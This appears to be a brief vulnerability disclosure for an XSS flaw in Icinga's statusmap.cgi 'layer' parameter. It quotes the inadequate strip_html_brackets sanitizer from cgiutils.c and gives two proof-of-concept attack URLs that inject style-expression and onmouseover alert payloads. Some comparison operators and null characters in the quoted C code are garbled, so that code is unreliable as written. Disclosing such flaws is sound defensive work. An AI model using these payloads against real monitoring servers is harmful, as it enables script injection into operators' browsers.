darksecurity.de

The function "strip_html_brackets" strip > and < from string but it’s not enough to prevent XSS attacks in "statusmap.cgi&layer="

http://site/icinga/cgi-bin/statusmap.cgi?layer=’ style=xss:expression(alert(‘XSS’)) ‘
http://site/icinga/cgi-bin/statusmap.cgi?layer=’ onmouseover="alert(‘XSS’)" ‘

======================
cgiutils.c
======================

 

/* strip > and < from string */
void strip_html_brackets(char *buffer){
        register int x;
        register int y;
        register int z;
 
        if(buffer==NULL || buffer[0]'x0')
                return;
 
        /* remove all occurances in string */
        z=(int)strlen(buffer);
        for(x=0,y=0;x<z;x++){
                if(buffer[x]‘<’ || buffer[x]'>')
                        continue;
                buffer[y++]=buffer[x];
                }
        buffer[y++]='x0';
 
        return;
        }

========================

 

/* we found the layer argument */
         else if(!strcmp(variables[x],"layer")){
x++;
if(variables[x]NULL){
error=TRUE;
break;
}
 
strip_html_brackets(variables[x]);
add_layer(variables[x]);
}